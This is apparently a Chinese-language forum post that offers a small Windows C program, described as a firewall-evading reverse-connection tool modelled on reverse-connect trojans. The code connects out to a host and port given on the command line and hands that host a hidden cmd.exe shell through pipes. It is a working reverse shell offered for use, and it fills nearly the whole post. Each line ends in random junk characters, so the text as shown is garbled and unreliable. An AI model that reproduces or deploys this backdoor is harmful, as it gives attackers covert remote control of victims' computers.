这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 h~z}NP
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/* ============================== hb
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Rebound port in Windows NT @O-\s q
By wind,2006/7 &] xtx>qg<
===============================*/ _}T )\o
#include Gvvw:]WgF
#include <aI}+
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#pragma comment(lib,"wsock32.lib") `U>2H4P
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void OutputShell(); v"o@q2f_
SOCKET sClient; 3preBs#i
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; Z)@[N
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void main(int argc,char **argv) L=M'QJl9
{ U;"J8
WSADATA stWsaData; fL]jk1.Xv-
int nRet; ]^i^L
SOCKADDR_IN stSaiClient,stSaiServer; whrDw1>(
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if(argc != 3) PAxR?2m{
{ 'fk6]&-I
printf("Useage:\n\rRebound DestIP DestPort\n"); ^\Q%VTM
return; ZvO1=*
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} ~`B]G
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WSAStartup(MAKEWORD(2,2),&stWsaData); pK"Z9y&
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); [X8EfU}
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stSaiClient.sin_family = AF_INET; rR#wbDr5
stSaiClient.sin_port = htons(0); IY
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stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); HS\'{4P
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) ?du*ITim
{ m&be55M;
printf("Bind Socket Failed!\n"); 3"k n5)x
return; 3SPXJa\i
} P:3o}CB1I
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stSaiServer.sin_family = AF_INET; 5@I/+D
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); |L:X$oM
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); \ Z5160
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) $+Z2q<UT
{ wwJ s_f\
printf("Connect Error!"); j#Lj<jX!xR
return; #CB Kt,
} jc#gn&4C
OutputShell(); <E^;RG
} wx!2/I>
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void OutputShell() lIO#)>
{ 5j9%W18
char szBuff[1024]; lLglF4
SECURITY_ATTRIBUTES stSecurityAttributes; m@0> =s~.
OSVERSIONINFO stOsversionInfo; raU_Z[
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; "QD>:G;u
STARTUPINFO stStartupInfo; &n0Ag]$P
char *szShell; =Mxu,A
PROCESS_INFORMATION stProcessInformation; \g)?7>M |
unsigned long lBytesRead;
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); ,Z! I ^
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); vGI)c&C>
stSecurityAttributes.lpSecurityDescriptor = 0; =wD&hDn4
stSecurityAttributes.bInheritHandle = TRUE; 2+g'ul`
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); kX:1=+{xg
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); Fzy#!^9Nu
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); V-X Ty
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stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; pqju@FD*
stStartupInfo.wShowWindow = SW_HIDE; D>Rlm,U
stStartupInfo.hStdInput = hReadPipe; ,^eOwWV
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; U%;E: |
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GetVersionEx(&stOsversionInfo); NGO?K?
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switch(stOsversionInfo.dwPlatformId) eYUq0~3
{ lk
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case 1: |_ U!i
szShell = "command.com"; q]SH'Wd
break; Z$6B}cz<
default: ];N/KHeZ
szShell = "cmd.exe"; PpF`0w=1%l
break; |)*!&\Ch
} jJ,y+o
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); hPCSAo!|
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send(sClient,szMsg,77,0); 8+32hg@^F
while(1) we@*;k@_
{ U!JmSP
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); Xf
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if(lBytesRead) :lmimAMt
{ ?@MWV
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); &!HG.7AY
send(sClient,szBuff,lBytesRead,0); '0&HkM{ D
} HsT6 #K
else %kgT=<E'
{ j_0l'S aj
lBytesRead=recv(sClient,szBuff,1024,0); m#RMd,'X
if(lBytesRead<=0) break; +OtD@lD`!
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); ((^vsKT
} `Ao"fRv#
} +$/NTUOP
#yEkd2Vy{
return; cFuQ>xR1
}